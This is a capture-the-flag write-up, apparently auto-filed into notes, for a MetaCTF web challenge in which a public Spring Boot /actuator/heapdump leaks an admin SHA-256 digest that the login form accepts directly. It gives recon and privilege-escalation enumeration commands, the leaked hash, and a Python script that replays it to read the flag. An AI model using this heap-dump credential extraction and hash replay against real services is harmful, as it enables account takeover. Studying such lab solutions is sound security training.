TeleLeak

Platform: Metactf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-10 | Status: Solved Techniques: credential_extraction, hash_reuse_login, heapdump_analysis

Summary

Task: a public Spring Boot site blocks new registration but exposes /actuator/heapdump, leaking live authentication material. Solution: recover the admin SHA-256 password value from memory and submit that hash directly to the login form to access /admin/dashboard.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: metactf | ID: 20260410_metactf_teleleak
• Tags: sha256, authentication_bypass, credential_leak, spring_boot, actuator, heapdump
• Indicators: public /actuator endpoint, accessible /actuator/heapdump, client-side SHA-256 login hashing, registration blocked with hint about existing account, Spring Boot session and CSRF flow
• Source: 20260410_metactf_teleleak.md

Foothold

Vulnerability / Misconfiguration

1. Credential_extraction
2. Hash_reuse_login
3. Heapdump_analysis

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• credential_extraction
• hash_reuse_login
• heapdump_analysis
• Tags: sha256, authentication_bypass, credential_leak, spring_boot, actuator, heapdump

Original Writeup

<details><summary>Click to expand original content</summary>

TeleLeak — MetaCTF

Summary

The application exposed Spring Boot actuator endpoints to unauthenticated users. The heap dump contained the admin credential material, and because the login form submitted a SHA-256 digest directly, the leaked hash was enough to sign in and read the flag from the admin dashboard.

Description

Goal: gain access to an existing account and recover the flag.

Target used: https://teleleak.umbccd.net.

Recon

• The site used a Java / Spring Boot stack, visible from JSESSIONID, CSRF handling, and the login flow.
• /login hashed the password client-side with SHA-256 and sent the hex digest in the password field.
• /register existed, but submitting there redirected to /regLimit.html with the hint: Maybe you can find a way to get into an existing account ;)
• /actuator was publicly accessible and exposed /actuator/heapdump.

Those signs strongly suggested a memory disclosure path instead of normal registration or password guessing.

Analysis

The key issue was the public heap dump. A Spring Boot heap dump can contain live objects, request state, secrets, session data, and cached credentials. In this case, the dump leaked reusable admin login material.

The login implementation made the exposure worse: the browser did not send the plaintext password. It sent a SHA-256 hex digest as the actual password value. That means the server accepted the digest itself as the login secret, so a leaked hash could be replayed directly.

Recovered credential material:

• Username: admin
• Password field value: f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5

Exploitation

1. Browse to /actuator and confirm the heap dump endpoint is public.
2. Download or inspect /actuator/heapdump.
3. Search the dump for credential material and recover the admin username plus the accepted password-field value.
4. Submit a normal login request as admin, but use the leaked SHA-256 digest directly in the password field.
5. Visit /admin/dashboard after successful authentication and read the flag.

Example replay script:

#!/usr/bin/env python3
import re
import requests

BASE = "https://teleleak.umbccd.net"
USERNAME = "admin"
PASSWORD_FIELD = "f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5"

s = requests.Session()

# Get login page and CSRF token
r = s.get(f"{BASE}/login")
r.raise_for_status()

csrf_match = re.search(r'name="_csrf" value="([^"]+)"', r.text)
if not csrf_match:
    raise SystemExit("CSRF token not found")
csrf = csrf_match.group(1)

# The application expects the SHA-256 digest directly in the password field
r = s.post(
    f"{BASE}/login",
    data={
        "username": USERNAME,
        "password": PASSWORD_FIELD,
        "_csrf": csrf,
    },
    allow_redirects=True,
)
r.raise_for_status()

dashboard = s.get(f"{BASE}/admin/dashboard")
dashboard.raise_for_status()

flag_match = re.search(r'(Dawgctf\{[^}]+\})', dashboard.text)
if flag_match:
    print(flag_match.group(1))
else:
    print(dashboard.text)

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR